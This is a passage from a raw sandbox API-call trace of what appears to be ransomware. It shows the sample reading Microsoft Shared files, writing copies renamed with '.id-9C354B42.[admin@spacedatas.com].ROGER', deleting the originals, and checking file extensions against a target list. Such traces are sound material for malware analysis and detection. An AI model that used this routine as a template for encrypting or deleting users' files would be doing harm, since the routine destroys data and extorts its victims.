Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.449] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0054.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.449] lstrlenW (lpString=".doc") returned 4 [0054.450] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.450] lstrlenW (lpString=".docx") returned 5 [0054.450] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.450] lstrlenW (lpString=".pdf") returned 4 [0054.450] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.450] lstrlenW (lpString=".xls") returned 4 [0054.450] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.450] lstrlenW (lpString=".xlsx") returned 5 [0054.450] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.450] lstrlenW (lpString=".ppt") returned 4 [0054.450] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.450] lstrlenW (lpString=".zip") returned 4 [0054.450] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.450] lstrlenW (lpString=".rar") returned 4 [0054.450] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.450] lstrlenW (lpString=".bz2") returned 4 [0054.450] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.450] lstrlenW (lpString=".7z") returned 3 [0054.450] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.450] lstrlenW (lpString=".dbf") returned 4 [0054.450] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.450] lstrlenW (lpString=".1cd") returned 4 [0054.450] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.450] lstrlenW (lpString=".jpg") returned 4 [0054.450] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.450] lstrlenW (lpString=".doc") returned 4 [0054.450] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.451] lstrlenW (lpString=".docx") returned 5 [0054.451] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.451] lstrlenW (lpString=".pdf") returned 4 [0054.451] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.451] lstrlenW (lpString=".xls") returned 4 [0054.451] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.451] lstrlenW (lpString=".xlsx") returned 5 [0054.451] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.451] lstrlenW (lpString=".ppt") returned 4 [0054.451] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.451] lstrlenW (lpString=".zip") returned 4 [0054.451] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.451] lstrlenW (lpString=".rar") returned 4 [0054.451] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.451] lstrlenW (lpString=".bz2") returned 4 [0054.451] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.451] lstrlenW (lpString=".7z") returned 3 [0054.451] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.451] lstrlenW (lpString=".dbf") returned 4 [0054.451] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.451] lstrlenW (lpString=".1cd") returned 4 [0054.451] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.451] lstrlenW (lpString=".jpg") returned 4 [0054.451] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.451] lstrcmpiW (lpString1=".FNT", lpString2=".ROGER") returned -1 [0054.451] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0054.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0054.604] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=606062) returned 1 [0054.604] CloseHandle (hObject=0x368) returned 1 [0054.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0054.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0054.605] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.605] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.605] GetLastError () returned 0x0 [0054.605] ReadFile (in: hFile=0x368, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0054.617] WriteFile (in: hFile=0x370, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x93f70, lpOverlapped=0x0) returned 1 [0054.628] ReadFile (in: hFile=0x368, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.628] WriteFile (in: hFile=0x370, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.628] SetEndOfFile (hFile=0x370) returned 1 [0054.628] CloseHandle (hObject=0x370) returned 1 [0054.628] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.628] SetEndOfFile (hFile=0x368) returned 1 [0054.633] CloseHandle (hObject=0x368) returned 1 [0054.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.634] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0054.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0054.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0054.634] lstrlenW (lpString=".doc") returned 4 [0054.634] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0054.634] lstrlenW (lpString=".docx") returned 5 [0054.634] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0054.634] lstrlenW (lpString=".pdf") returned 4 [0054.634] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0054.634] lstrlenW (lpString=".xls") returned 4 [0054.634] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0054.634] lstrlenW (lpString=".xlsx") returned 5 [0054.634] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0054.634] lstrlenW (lpString=".ppt") returned 4 [0054.634] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0054.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0054.634] lstrlenW (lpString=".zip") returned 4 [0054.634] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0054.634] lstrlenW (lpString=".rar") returned 4 [0054.634] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0054.634] lstrlenW (lpString=".bz2") returned 4 [0054.634] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0054.634] lstrlenW (lpString=".7z") returned 3 [0054.634] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0054.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0054.634] lstrlenW (lpString=".dbf") returned 4 [0054.634] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0054.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0054.635] lstrlenW (lpString=".1cd") returned 4 [0054.635] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0054.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0054.635] lstrlenW (lpString=".jpg") returned 4 [0054.635] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0054.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0054.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0054.635] lstrlenW (lpString=".doc") returned 4 [0054.635] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0054.635] lstrlenW (lpString=".docx") returned 5 [0054.635] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0054.635] lstrlenW (lpString=".pdf") returned 4 [0054.635] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0054.635] lstrlenW (lpString=".xls") returned 4 [0054.635] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0054.635] lstrlenW (lpString=".xlsx") returned 5 [0055.658] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0055.658] lstrlenW (lpString=".ppt") returned 4 [0055.659] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0055.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.659] lstrlenW (lpString=".zip") returned 4 [0055.659] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0055.659] lstrlenW (lpString=".rar") returned 4 [0055.659] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0055.659] lstrlenW (lpString=".bz2") returned 4 [0055.659] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0055.659] lstrlenW (lpString=".7z") returned 3 [0055.659] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0055.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.659] lstrlenW (lpString=".dbf") returned 4 [0055.659] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0055.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.659] lstrlenW (lpString=".1cd") returned 4 [0055.659] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0055.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0055.659] lstrlenW (lpString=".jpg") returned 4 [0055.659] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0055.659] lstrcmpiW (lpString1=".WPG", lpString2=".ROGER") returned 1 [0055.659] lstrlenW (lpString="MS.WPG") returned 6 [0055.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0055.980] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=1382) returned 1 [0056.007] CloseHandle (hObject=0x3f4) returned 1 [0056.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0056.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0056.007] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.007] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0057.233] GetLastError () returned 0x0 [0057.233] ReadFile (in: hFile=0x3f4, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x566, lpOverlapped=0x0) returned 1 [0057.237] WriteFile (in: hFile=0x3f0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x570, lpOverlapped=0x0) returned 1 [0057.238] ReadFile (in: hFile=0x3f4, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.238] WriteFile (in: hFile=0x3f0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0057.238] SetEndOfFile (hFile=0x3f0) returned 1 [0057.238] CloseHandle (hObject=0x3f0) returned 1 [0057.238] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.238] SetEndOfFile (hFile=0x3f4) returned 1 [0057.239] CloseHandle (hObject=0x3f4) returned 1 [0057.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.239] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0057.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.239] lstrlenW (lpString=".doc") returned 4 [0057.239] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0057.239] lstrlenW (lpString=".docx") returned 5 [0057.239] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0057.239] lstrlenW (lpString=".pdf") returned 4 [0057.239] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0057.239] lstrlenW (lpString=".xls") returned 4 [0057.240] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0057.240] lstrlenW (lpString=".xlsx") returned 5 [0057.240] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0057.240] lstrlenW (lpString=".ppt") returned 4 [0057.240] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0057.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.240] lstrlenW (lpString=".zip") returned 4 [0057.240] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0057.240] lstrlenW (lpString=".rar") returned 4 [0057.240] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0057.240] lstrlenW (lpString=".bz2") returned 4 [0057.240] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0057.240] lstrlenW (lpString=".7z") returned 3 [0057.240] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0057.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.240] lstrlenW (lpString=".dbf") returned 4 [0057.240] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0057.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.240] lstrlenW (lpString=".1cd") returned 4 [0057.240] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0057.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.240] lstrlenW (lpString=".jpg") returned 4 [0057.240] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0057.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.240] lstrlenW (lpString=".doc") returned 4 [0057.240] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0057.240] lstrlenW (lpString=".docx") returned 5 [0057.240] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0057.240] lstrlenW (lpString=".pdf") returned 4 [0057.241] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0057.241] lstrlenW (lpString=".xls") returned 4 [0057.241] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0057.241] lstrlenW (lpString=".xlsx") returned 5 [0057.241] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0057.241] lstrlenW (lpString=".ppt") returned 4 [0057.241] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0057.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.241] lstrlenW (lpString=".zip") returned 4 [0057.241] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0057.241] lstrlenW (lpString=".rar") returned 4 [0057.241] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0057.241] lstrlenW (lpString=".bz2") returned 4 [0057.241] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0057.241] lstrlenW (lpString=".7z") returned 3 [0057.241] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0057.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.241] lstrlenW (lpString=".dbf") returned 4 [0057.241] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0057.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.241] lstrlenW (lpString=".1cd") returned 4 [0057.241] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0057.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0057.241] lstrlenW (lpString=".jpg") returned 4 [0057.241] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0057.241] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0057.241] lstrlenW (lpString="msitss55.dll") returned 12 [0057.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.567] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=430080) returned 1 [0057.567] CloseHandle (hObject=0x3e0) returned 1 [0057.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0057.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.567] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.567] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.568] GetLastError () returned 0x0 [0057.568] ReadFile (in: hFile=0x3e0, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x69000, lpOverlapped=0x0) returned 1 [0057.577] WriteFile (in: hFile=0x358, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x69010, lpOverlapped=0x0) returned 1 [0057.584] ReadFile (in: hFile=0x3e0, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.584] WriteFile (in: hFile=0x358, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.584] SetEndOfFile (hFile=0x358) returned 1 [0057.584] CloseHandle (hObject=0x358) returned 1 [0057.585] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.585] SetEndOfFile (hFile=0x3e0) returned 1 [0057.588] CloseHandle (hObject=0x3e0) returned 1 [0057.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.588] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0057.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0057.589] lstrlenW (lpString=".doc") returned 4 [0057.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.589] lstrlenW (lpString=".docx") returned 5 [0057.589] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0057.589] lstrlenW (lpString=".pdf") returned 4 [0057.589] lstrcmpiW (lpString1=".pdf", lpString2=".dll") 